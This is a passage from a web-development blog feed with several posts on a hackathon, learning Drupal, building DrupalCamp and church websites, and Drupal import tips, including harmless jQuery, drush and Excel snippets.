&lt;p&gt;&lt;img src=&quot;/images/posts/battlehack/hackathon.jpg&quot; alt=&quot;Clinic Finder home page&quot;&gt;&lt;/p&gt;
&lt;p&gt;The Battlehack guys were really helpful in this regard. There were rehearsal slots the next morning for us to present our pitch to a panel of mentors, who&apos;d provide feedback on our idea and presentation pitch. Their suggestion to us was to get to straight to the point on our key feature, the bit about medical schemes, since that was the local problem we were trying to address.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/battlehack/hackathon-2.jpg&quot; alt=&quot;Clinic Finder map page&quot;&gt;&lt;/p&gt;
&lt;p&gt;That was a really good piece of advice, as we watched a number of participants who presented before us run out of time before they got to best part of their product. We managed to pitch our app within the time and answer the judges&apos; questions.&lt;/p&gt;
&lt;p&gt;As expected, we did get the &amp;quot;so where will you get the data?&amp;quot; question. So we talked about partnership with government organisations. Another question we got was about advertising, which tied into a point we didn&apos;t really consider, on the sustainability of the app.&lt;/p&gt;
&lt;h2&gt;Hackathon takeaways&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Expect that things may go wrong and adapt accordingly.&lt;/li&gt;
&lt;li&gt;Be focused. You only have 24 hours.&lt;/li&gt;
&lt;li&gt;Keep your pitch concise. Two minutes goes by quicker than you think.&lt;/li&gt;
&lt;li&gt;Unless you&apos;re a ninja coder, you won&apos;t get much sleep.&lt;/li&gt;
&lt;li&gt;Consciously remind yourself to be a nice person, especially when you haven&apos;t slept at all.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At the end of the day, we did manage to build a working application in 24 hours and present it on time. Definitely a valuable learning experience. It&apos;s always nice to build something that works, especially if you do it together with friends. Looking forward to the next one.&lt;/p&gt;
</content:encoded></item><item><title>542 days as a Drupal developer</title><link>https://chenhuijing.com/blog/542-days-as-a-drupal-developer/</link><guid isPermaLink="true">https://chenhuijing.com/blog/542-days-as-a-drupal-developer/</guid><description>I&apos;ve just listened to the latest episode of the Modules Unraveled podcast by Bryan Lewis, which talked about The current job market in Drupal. And it made me…</description><pubDate>Fri, 27 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve just listened to the latest episode of the &lt;a href=&quot;https://modulesunraveled.com/&quot;&gt;Modules Unraveled&lt;/a&gt; podcast by &lt;a href=&quot;https://twitter.com/ModsUnraveled&quot;&gt;Bryan Lewis&lt;/a&gt;, which talked about &lt;a href=&quot;https://modulesunraveled.com/podcast/131-job-market-drupal-mike-anello-modules-unraveled-podcast&quot;&gt;The current job market in Drupal&lt;/a&gt;. And it made me think about my own journey as a Drupal developer, from zero to reasonably competent (I hope).&lt;/p&gt;
&lt;p&gt;The thing about this industry is that everything seems to move faster and faster. There&apos;s a best new tool or framework released every other day. Developers are creating cool things all the time. And I feel like I&apos;m constantly playing catch-up. But looking back to Day 1, I realised that I did make quite a bit of progress since then.&lt;/p&gt;
&lt;h2&gt;Learning on the job&lt;/h2&gt;
&lt;p&gt;I&apos;ve been gainfully employed as a Drupal architect (the job title printed on my name cards) for 542 days as of time of writing. That&apos;s about a year and a half. I&apos;m pretty sure I didn&apos;t qualify for the job when I was hired. My experience up to that point was building a Drupal 6 site a couple years before. I barely had a good grasp of HTML and didn&apos;t even know the difference between CSS and Sass.&lt;/p&gt;
&lt;p&gt;When I got the job, I felt that I didn&apos;t deserve my job title. And I definitely did not want to feel that way for long. I spent a lot of time reading newbie web development and Drupal articles early on. There&apos;s a lot you can learn from Google, and trust me, even now, I still google my way out of a lot of challenges on the job. However, I do recognise the fact that I seriously lucked out with this job. Let me explain.&lt;/p&gt;
&lt;p&gt;I&apos;m the type of person who learns best if I&apos;m doing something for real. Meaning, as nice as courses from &lt;a href=&quot;http://www.codecademy.com/learn&quot;&gt;Codeacademy&lt;/a&gt; and &lt;a href=&quot;https://dash.generalassemb.ly/&quot;&gt;Dash&lt;/a&gt; are for learning the basics of web development, for me, they don&apos;t really stick to my little brain as well as if I was building a real live website. Two weeks into the job, I was handed &lt;a href=&quot;/blog/the-one-i-cut-my-teeth-on/&quot;&gt;an assignment&lt;/a&gt; to build an entire website. It was like learning to swim by being tossed into the ocean, just the way I like it.&lt;/p&gt;
&lt;h2&gt;Having a mentor&lt;/h2&gt;
&lt;p&gt;But of course, googling alone is far from enough. Here&apos;s where the lucked out bit comes in. I didn&apos;t know it at the time, but the fact is, I joined a development team that was very strong in Drupal fundamentals and best practices.&lt;/p&gt;
&lt;p&gt;Our technical lead was a stickler for detail, and insistent on doing things the Drupal way. As someone who didn&apos;t know a class from a method, he didn&apos;t have to do any re-education of programming habits for Drupal because I had none to begin with. Sometimes it&apos;s easier to deal with a blank slate.&lt;/p&gt;
&lt;p&gt;First thing I learnt was version control, using Git. Now that was a steep learning curve. Oh, the amount of time I spent resolving git conflicts, &lt;a href=&quot;/blog/the-epic-git-bomb/&quot;&gt;undoing damage&lt;/a&gt; done to git repositories, the list goes on. Though it really feels like learning to ride a bicycle, once you get it, you can&apos;t unlearn it.&lt;/p&gt;
&lt;p&gt;I also learnt about the multitude of environments needed for web development very early on, as my technical lead patiently explained to me why we needed to follow the proper git workflow.&lt;/p&gt;
&lt;p&gt;All the time.&lt;br&gt;
No, you can&apos;t just make the change on the live server.&lt;br&gt;
Yes, you have to commit even if the change is tiny.&lt;/p&gt;
&lt;p&gt;So even though I asked a lot of questions (I probably questioned everything I was told to do) I always got clear, justifiable answers. Which shut me up pretty quickly. In the rare event that I caught something that was arbitrary, my technical lead was gracious enough to let me &amp;quot;win&amp;quot;.&lt;/p&gt;
&lt;p&gt;My fellow developer was also extremely generous with her knowledge and patience. Let&apos;s just say, with all the support I was getting, it would be odd if I didn&apos;t pick things up quickly.&lt;/p&gt;
&lt;p&gt;With such a small team, I got a lot of opportunities to take responsibility for entire projects. I wasn&apos;t micromanaged and was pretty much given free reign to implement things so long as I followed best practices. Right, so that&apos;s the day job bit.&lt;/p&gt;
&lt;h2&gt;Make stuff for fun&lt;/h2&gt;
&lt;p&gt;I think I&apos;m somewhat of a control freak. I&apos;ve tried using CSS frameworks on my projects. Didn&apos;t like them. Because I didn&apos;t use a lot of the stuff that came in the whole package. I started off using the Zen theme as my starter, but 3 projects in, I decided to just write &lt;a href=&quot;https://www.drupal.org/sandbox/hj_chen/2345293&quot;&gt;my own starter theme&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nothing fancy, it&apos;s a practically a blank slate, even the grid isn&apos;t pre-written in. Partly because I wanted to know exactly how everything worked, and partly because I didn&apos;t want anything in my code that I didn&apos;t use.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;I gravitated toward front-end development largely because HTML and CSS were very easy for me to pick up and understand. I also liked the fact that I could make things look pretty (yes, I&apos;m shallow like that). Brilliant developers create amazing things almost every day. Let me give you a list:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.species-in-pieces.com/&quot;&gt;In Pieces - 30 Endangered Species, 30 Pieces&lt;/a&gt; by &lt;a href=&quot;https://brybry.co&quot;&gt;Bryan James&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://leaverou.github.io/awesomplete/&quot;&gt;Awesomplete&lt;/a&gt; by &lt;a href=&quot;http://lea.verou.me/&quot;&gt;Lea Verou&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://sarasoueidan.com/tools/circulus/&quot;&gt;Circulus SVG&lt;/a&gt; by &lt;a href=&quot;http://sarasoueidan.com/&quot;&gt;Sara Soueidan&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://glench.com/hash/&quot;&gt;URL animations&lt;/a&gt; by &lt;a href=&quot;http://glench.com/&quot;&gt;Glen Chiacchieri&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://danielrapp.github.io/doppler/&quot;&gt;Motion scrolling&lt;/a&gt; by &lt;a href=&quot;http://rappdaniel.com/&quot;&gt;Daniel Rapp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;the list is endless...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maybe one day I&apos;ll be able to create something mind-blowing as well. For now, I&apos;m content with just writing my own themes, playing around with Jekyll, exploring the Drupal APIs (can&apos;t be a Drupal developer without this) and mucking around on &lt;a href=&quot;http://codepen.io/huijing/&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Mingle with people who are better than you&lt;/h2&gt;
&lt;p&gt;Another thing I did was to attend meet-ups. Even though I felt like a total noob, I showed up anyway (though sometimes I dragged a friend with me). For the more technical meet-ups, it was quite intimidating, and still is even now sometimes.&lt;/p&gt;
&lt;p&gt;But I realised that as time went by, I understood more of what was happening. People didn&apos;t seem like they were speaking Greek anymore. It&apos;s still cool to get my mind blown by all the creative stuff people present at the meet-ups. They remind me of how much more there is to learn.&lt;/p&gt;
&lt;p&gt;I found it really beneficial to attend creative meet-ups as well. The perspectives shared by all those speakers triggers me to examine my own thought processes. Because at the end of the day, it&apos;s not just about writing code, it&apos;s about how the artefacts we create are used by others.&lt;/p&gt;
&lt;h2&gt;Rounding things off&lt;/h2&gt;
&lt;p&gt;I&apos;d like to hope that as I get better at this, I&apos;ll be able to create more useful stuff. Despite the fact I grumble and rant about fixing UAT bugs (can&apos;t we just tell them it&apos;s a feature), inheriting legacy code, hitting deadlines and so on, the truth is, I love what I do. Nobody can predict the future, but I do hope that 5420 days in, I&apos;ll still be doing this and loving it the same.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Creating custom content with Panels</title><link>https://chenhuijing.com/blog/drupal-101-creating-custom-content-with-panels/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-creating-custom-content-with-panels/</guid><description>If you ever find yourself needing to create a static page in Drupal, perhaps for a temporary landing page or an under-construction page, while the site is…</description><pubDate>Mon, 23 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you ever find yourself needing to create a static page in Drupal, perhaps for a temporary landing page or an under-construction page, while the site is being fleshed out behind the scenes, an option to consider is via &lt;a href=&quot;https://www.drupal.org/project/panels&quot;&gt;Panels&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I was in the process of building the &lt;a href=&quot;/blog/the-one-where-people-get-a-say/&quot;&gt;DrupalCamp Singapore 2014&lt;/a&gt; website and needed to put up a temporary home page. Using Panels gave me the option of hand-coding the HTML for the page. To do this, you will also need to install the &lt;a href=&quot;https://www.drupal.org/project/ctools&quot;&gt;Chaos tools suite (ctools)&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Enable the Panels, Chaos tools and Page manager (comes with ctools) modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en panels ctools page_manager -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once all the required modules are enabled, you can navigate to &lt;code&gt;admin/structure/pages/add&lt;/code&gt; to create a custom page.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fill in the administrative descriptions (because it&apos;s good practice) and fill in &lt;code&gt;&amp;lt;front&amp;gt;&lt;/code&gt; for &lt;em&gt;Path&lt;/em&gt; and check the &lt;em&gt;Make this your site home page&lt;/em&gt; option. The rest of the optional settings can be left alone for now.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-2.jpg&quot; alt=&quot;Setting up a custom page&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose a layout appropriate to your intended design. I went for the single column option.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-3.jpg&quot; alt=&quot;Layout options&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can adjust the CSS settings of your custom page under &lt;em&gt;Panel settings&lt;/em&gt; if you want to, but I just went with the defaults.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hover over the gear icon on the top left corner of your layout and click on &lt;em&gt;Add content&lt;/em&gt;.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-4.jpg&quot; alt=&quot;Add content&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;New custom content&lt;/em&gt; as this allows you to write your own HTML content.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-5.jpg&quot; alt=&quot;Create custom content&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The content creation interface should be pretty familiar. Enter a descriptive administrative title for easier identification and write your HTML in the &lt;em&gt;Body&lt;/em&gt; field.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-6.jpg&quot; alt=&quot;Write your HTML&quot;&gt;
My advice? Write all your HTML in your code editor of choice (mine is Sublime Text), then copy and paste it into the field. Keep a copy of the HTML saved somewhere, just in case you need to make edits. Drupal has a tendency of removing white spaces if you switch text formats, which makes editing a pain when you need to.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-7.jpg&quot; alt=&quot;Collapsed whitespaces&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The content is only saved after you click on &lt;em&gt;Finish&lt;/em&gt;, which is another good reason to have your HTML saved up somewhere, just in case.
&lt;img src=&quot;/images/posts/custom-content/ccpanels-8.jpg&quot; alt=&quot;Always click on Finish&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Navigate back to your homepage and you should see your new custom content displayed. An advantage of this is you get full control over the markup, which could make it easier when it comes to writing the styles for your page.&lt;/p&gt;
&lt;p&gt;However, it is important to keep in mind that Drupal is a content management system after all, and if you find yourself writing a lot of custom content by hand, you may have to rethink the architecture of your site. Drupal may not even be the right solution in the first place. Just something to keep in mind.&lt;/p&gt;
</content:encoded></item><item><title>The one where people get a say</title><link>https://chenhuijing.com/blog/the-one-where-people-get-a-say/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-where-people-get-a-say/</guid><description>As awesome as Drupal is, you may be surprised to find that over in my part of the world, there are still people who are in the dark about that fact. Hence, it…</description><pubDate>Mon, 23 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As awesome as Drupal is, you may be surprised to find that over in my part of the world, there are still people who are in the dark about that fact. Hence, it is our duty as Drupalists to help bolster the community and spread the word about Drupal. What better way to do that than through DrupalCamp? My company was the organiser for &lt;a href=&quot;http://www.drupalcamp.sg/&quot;&gt;DrupalCamp Singapore 2014&lt;/a&gt;, thus my next project was building the event website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/dcsg/dcsg.jpg&quot; alt=&quot;DrupalCamp Singapore 2014 website&quot;&gt;&lt;/p&gt;
&lt;p&gt;The format for talks at this DrupalCamp was different from years past. The plan was to put out a call for speakers to submit their talks, then let the attendees vote on the topics. There were less than two months before the start of the event, so the website had to be up as soon as possible.&lt;/p&gt;
&lt;p&gt;I took a quick look at the &lt;a href=&quot;https://groups.drupal.org/conference-organizing-distribution&quot;&gt;Conference Organizing Distribution (COD)&lt;/a&gt; but it seemed too heavy for our needs and made the decision to build the site from scratch with a vanilla Drupal 7 install.&lt;/p&gt;
&lt;p&gt;Regardless of functionality, the website itself needed to be live so people would now that there was such an event happening. After a quick discussion with my fellow designers, we decided to go with a temporary single-page-site style implementation for the homepage while the rest of the site was being built out behind the scenes. &lt;a href=&quot;/blog/drupal-101-creating-custom-content-with-panels/&quot;&gt;Here&apos;s&lt;/a&gt; how it was done.&lt;/p&gt;
&lt;p&gt;With the homepage up and running, I went on a mad scramble to build out the rest of the site because lead time was required for people to submit talks as well as vote on them. After some googling (I honestly don&apos;t know what I would do without Google), I settled on using the &lt;a href=&quot;https://www.drupal.org/project/flag&quot;&gt;Flag&lt;/a&gt; module to handle voting.&lt;/p&gt;
&lt;p&gt;There was a pretty good number of talks submitted, so the event was split into two tracks: Technical and Business. As the site was responsive, our team had to take into consideration how the schedule would look on a small screen. We considered displaying both tracks stacked on top of one another, but resulted in a very long page on mobile.&lt;/p&gt;
&lt;p&gt;In the end, I decided to implement a solution with &lt;a href=&quot;https://www.drupal.org/project/quicktabs&quot;&gt;Quicktabs&lt;/a&gt; so users could easily switch between schedules for both tracks on the same page. Quicktabs works reasonably well on simple implementations like this one, but more complex use-cases requiring multiple Quicktabs instances on the same page tends to get buggy.&lt;/p&gt;
&lt;p&gt;Regardless, the website achieved its intended purpose and DrupalCamp Singapore 2014 proceeded quite smoothly with quite a reasonable turnout.&lt;/p&gt;
</content:encoded></item><item><title>The one with many iterations</title><link>https://chenhuijing.com/blog/the-one-with-many-iterations/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-with-many-iterations/</guid><description>This time I get to collaborate with another developer and also, continue my adventures with wrangling feeds.</description><pubDate>Mon, 16 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The third project I worked on was a website for the &lt;a href=&quot;http://rhc.org.sg/&quot;&gt;Redemption Hill Church&lt;/a&gt;. The church’s site started out as a HTML site, but as more content was added, they migrated to Wordpress a few years back. However, as the site continued to grow, it became apparent that the current structure was sub-optimal in terms of organising the various new content types the site had.&lt;/p&gt;
&lt;p&gt;And that&apos;s where we came in. By the time I joined the company, the design work had already been completed and the site was ready to be built. There was a spreadsheet that documented each of the various sections and how the content was to be presented.&lt;/p&gt;
&lt;p&gt;In an ideal world, the content would fit into our design perfectly, all the functionality of the site would work smoothly and all would be well across the land. Too bad unicorns don&apos;t exist.&lt;/p&gt;
&lt;p&gt;In retrospect, we made a number of **gasp** assumptions with regards to how the content would behave. There were a couple of issues that we ought to have pre-empted and a couple more that could have been avoided with better communication. But you live, you learn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/rhc/rhc.jpg&quot; alt=&quot;Redemption Hill Church homepage&quot;&gt;&lt;/p&gt;
&lt;p&gt;After getting my feet wet with the previous two projects, I felt more at ease with Drupal at this point. Although I&apos;d been flying solo up till then, this time, I&apos;d be working with another developer, &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell Liew&lt;/a&gt; (this is the origin story of how we became good friends).&lt;/p&gt;
&lt;p&gt;I would build the site with all its functionality, and Zell would make it look pretty. Zell is essentially the Susy guy, I mean, he did write &lt;a href=&quot;https://learnsusy.zellwk.com/&quot;&gt;a book&lt;/a&gt; about it. You really should check it out.&lt;/p&gt;
&lt;p&gt;Given this was a migration, the site architecture was documented on a spreadsheet, so it was clear what content was coming over to the new site and what wasn&apos;t. This spreadsheet detailed the functionality of each section of the site, down to individual pages and their URLs.&lt;/p&gt;
&lt;p&gt;Such an approach would work well if the structure of the site was already stable, and changes would only be minimal at best. However, when there are changes to entire sections of the site, keeping this document updated was quite a pain. And to be honest, we stopped updating it mid-way through the project.&lt;/p&gt;
&lt;p&gt;Here&apos;s where I don&apos;t have an obvious conclusion. Could these issues of constantly changing functional requirements have been addressed by including the development team in the design process? Maybe.&lt;/p&gt;
&lt;p&gt;Would we have been unable to pre-empt these issues before actually building out the site? Perhaps. Then again, if I had more experience at the time, I could have picked up the fact that some of these design decisions didn&apos;t make sense from an architectural standpoint.&lt;/p&gt;
&lt;p&gt;But again, many lessons were learnt because of this.&lt;/p&gt;
&lt;h2&gt;Bits about building the site&lt;/h2&gt;
&lt;p&gt;Being a church website, there were many Bible references so we thought it&apos;d make sense to install &lt;a href=&quot;https://www.drupal.org/project/bibly&quot;&gt;bib.ly&lt;/a&gt;, which would convert all Bible references into a link that on hover, would display the Biblical text. Just in case anybody else is building a church website.&lt;/p&gt;
&lt;p&gt;But, the trickiest part of this project was, surprise surprise (not), feeds. You can read the TL;DR version of using feeds &lt;a href=&quot;/blog/drupal-101-what-i-learnt-from-hours-of-troubleshooting-feeds/&quot;&gt;here&lt;/a&gt;. An extremely important section of the site was the sermons section.&lt;/p&gt;
&lt;p&gt;The church had recordings of every almost every sermon, and accompanying study notes. With such a large number of sermons, we built a series of views exposed filters to help users find the sermons they wanted.&lt;/p&gt;
&lt;p&gt;For the keyword search, you can actually use the filter criteria &lt;em&gt;Search: search terms&lt;/em&gt; and it will pick up words found in any field of your content. Referenced from &lt;a href=&quot;https://www.drupal.org/node/680442&quot;&gt;this post&lt;/a&gt;. We also used jQuery to make two of the fields conditional.&lt;/p&gt;
&lt;p&gt;For example, you can filter for a Book via a dropdown menu, and search for all sermons related to that Book. Once you select the Book, an additional Chapter field becomes available, for a more granular search, if required.&lt;/p&gt;
&lt;p&gt;The date filter was a bit more complicated. Out-of-the-box, you can&apos;t only filter for the year without entering a month. We created two exposed filters for sermon date, and hid the month field for the first one. Once the year was selected, the second date filter would appear, but the year field was hidden and only the month field was displayed.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The year selection from the first date field was passed into this second date field so the filter would work properly. &lt;em&gt;As you can see, the site uses Dropkick to style select lists&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var $monthAndYear = $(&apos;.views-widget-filter-field_date_value&apos;);
$monthAndYear.hide();
$(&apos;.views-widget-filter-field_date_value_2, .views-widget-filter-field_date_value_1&apos;).find(&apos;select&apos;).dropkick({
  change: function(value, label) {
  if (value !== &apos;&apos;) {
    yearValue = value;
    $monthAndYear.show();
    $monthAndYear.find(&apos;.date-year&apos;).addClass(&apos;element-invisible&apos;);
    $monthAndYear.find(&apos;select&apos;).dropkick({
      change: function(value, label) {
        console.log(value);
        if (value !== &apos;&apos;) {
          $monthAndYear.find(&apos;.date-year&apos;).val(yearValue);
        } else {
          $monthAndYear.find(&apos;.date-year&apos;).val(&apos;&apos;);
        }
      }
    });
  } else {
    $monthAndYear.hide();
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The data for these sermons were on the old Wordpress site. In a single body field. So I copied this list from the browser into an Excel spreadsheet and applied my Excel-fu to the data. Did I mention I love Excel? Not spreadsheets, but the program Excel. Oh, never mind.&lt;/p&gt;
&lt;p&gt;The data actually ported quite neatly into the spreadsheet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/rhc/rhc-2.jpg&quot; alt=&quot;Raw data&quot;&gt;&lt;/p&gt;
&lt;p&gt;I needed to massage this into a CSV file that the feeds importer would recognise hence generate all my sermons CORRECTLY. Fun fact, when I started testing my importer, my NID count was in the low teens, something like 14. When I finally got the importer to work correctly, I was in the four thousands. Oh, all those deleted nodes.&lt;/p&gt;
&lt;h3 id=&quot;data-cleansing&quot;&gt;Getting dirty with data cleansing (see what I did there)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Convert hyperlinks to text&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;I needed the URLs from the hyperlinks, not the text, which the direct copy and paste gave me. With reference to &lt;a href=&quot;http://twigstechtips.blogspot.sg/2011/06/excel-easily-convert-hyperlinks-to-url.html&quot;&gt;Twig&apos;s Tech Tips&lt;/a&gt;, create and run the following macro:&lt;/p&gt;
```bash
  Dim Cell As Range 
   For Each Cell In Intersect(Selection, ActiveSheet.UsedRange) 
     If Cell.Hyperlinks.Count &gt; 0 Then 
       Cell.Value = Cell.Hyperlinks.Item(1).Address 
     End If 
   Next
```
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Transpose each set of rows into their respective columns&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt; =INDEX($B$1:$B$1530,ROWS(G$1:G1)*5-5+COLUMNS($G1:G1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used the INDEX() function for this, referencing from &lt;a href=&quot;http://www.excelforum.com/excel-formulas-and-functions/947088-transpose-every-5-cells-in-column-a-to-indidual-rows-in-column-b.html&quot;&gt;Excel Forum&lt;/a&gt;. Please excuse the highlighting, turns out there&apos;s no highlighter for Excel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Adjust data as necessary&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The data wasn&apos;t as clean as I expected and there were a handful of sermons that had more or less than five rows. Because it was a manageable number, I did this adjustment manually to get all the data into the correct columns.
&lt;img alt=&quot;Transpose data&quot; src=&quot;/images/posts/rhc/rhc-3.jpg&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The first column ended up with 2 different fields, thankfully with a delimiter (or separator, if that&apos;s what you want to call it). The &lt;em&gt;Text to Columns&lt;/em&gt; function comes in very handy here. It can be found under &lt;em&gt;Data&lt;/em&gt; in the toolbar, and provides a wizard to guide you through the process.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Depending on your use-case, you may or may not need to remove line breaks from your data. Insert a blank column next to the cells that need cleaning, use this formula and drag down the column as required:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;=SUBSTITUTE(A1,CHAR(13),&amp;quot; &amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you&apos;re dealing with dates and times, or anything that Excel may apply it&apos;s own formatting to, you may need to adjust them accordingly to fit the feed importer settings or vice versa. It&apos;s good to check the CSV file in a text editor just to make sure.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Find and replace&lt;/em&gt; (⌘+F or Ctrl+F) will be a function you constantly use to tweak your data set en masse.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Although this project dragged out a little longer than we planned, it brought to light numerous flaws in our processes and made us really think about how to improve them. As the saying goes, there&apos;s no substitute for experience. We just have to admit our shortcomings so we can work toward bettering ourselves for future projects to come.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: What I learnt from hours of troubleshooting Feeds</title><link>https://chenhuijing.com/blog/drupal-101-what-i-learnt-from-hours-of-troubleshooting-feeds/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-what-i-learnt-from-hours-of-troubleshooting-feeds/</guid><description>This post will run through the basic feed importers and some key points I learnt from hours upon hours of troubleshooting.</description><pubDate>Fri, 13 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Feeds is a very useful module when it comes to importing content into your Drupal site. However, it&apos;s not very forgiving, in that your data has to be formatted just right for the feed to take.&lt;/p&gt;
&lt;p&gt;This post will run through the basic feed importers and some key points I learnt from hours upon hours of troubleshooting. I&apos;m pretty sure I&apos;ve spent upwards of 50 hours dealing with feeds thus far in my life.&lt;/p&gt;
&lt;p&gt;Before I begin, I have a short rant on the importance of content. You could &lt;a href=&quot;#feeds-tips&quot;&gt;skip directly to the bits on feeds&lt;/a&gt; but then, it&apos;ll be less entertaining.&lt;/p&gt;
&lt;p&gt;The heart of every website is its content. At least, most of the time. And as much as I love &lt;a href=&quot;http://www.cupcakeipsum.com/&quot;&gt;cupcake ipsum&lt;/a&gt;, there&apos;s no substitute for actual content. At some point in time during the process of building a website, there will be a task known as content population.&lt;/p&gt;
&lt;p&gt;If your content is still floating around in your headspace (or most likely, your client&apos;s headspace), STOP what you&apos;re doing.&lt;/p&gt;
&lt;p&gt;Shut it down.&lt;/p&gt;
&lt;p&gt;Now.&lt;/p&gt;
&lt;p&gt;As someone who&apos;s experienced the consequences of this first-hand, my takeaway is to avoid designing and building, especially building, a website until you have a good grasp of what the content will be. Even then, it&apos;s safer if you actually have the content in some form, even if it&apos;s a Word doc or a PDF file.&lt;/p&gt;
&lt;p&gt;I&apos;ve listened to every single episode of the &lt;a href=&quot;http://seanwes.com/podcast/&quot;&gt;seanwes podcast&lt;/a&gt;, so I can attest to the tangible benefits of listening to this podcast. I highly suggest &lt;a href=&quot;http://seanwes.com/podcast/013-you-design-the-content/&quot;&gt;episode 13&lt;/a&gt;, aptly titled &lt;em&gt;You Design The Content&lt;/em&gt;. Here&apos;s a golden quote from the episode:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You cannot design without content. You design the content. You don’t design websites. You design the content. Lines, boxes, colours, texture &lt;em&gt;et cetera&lt;/em&gt; are all elements. They are tools with which you design. They are not design themselves. You cannot design without content, therefore it must be a requirement up front. You must have all the content at the start of the project.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There&apos;s plenty more good stuff where that came from, so follow &lt;a href=&quot;https://twitter.com/seanwes&quot;&gt;Sean McCabe&lt;/a&gt;, subscribe to his podcast, sign up for &lt;a href=&quot;http://seanwes.com/community/&quot;&gt;the community&lt;/a&gt;, watch his &lt;a href=&quot;http://seanwes.com/tv/&quot;&gt;daily videos&lt;/a&gt;. Just loads of valuable material.&lt;/p&gt;
&lt;p&gt;Assuming you&apos;ve got your hands on all that content, it still has to get onto the site you&apos;re building. Now, there are many ways you can do this. You could get someone to manually create each piece of content on the site. If you only have a handful of pages, this isn&apos;t a bad option. If you have hundreds of pages of content in almost as many fields, asking someone to do this manually could get you criminally charged for torture.&lt;/p&gt;
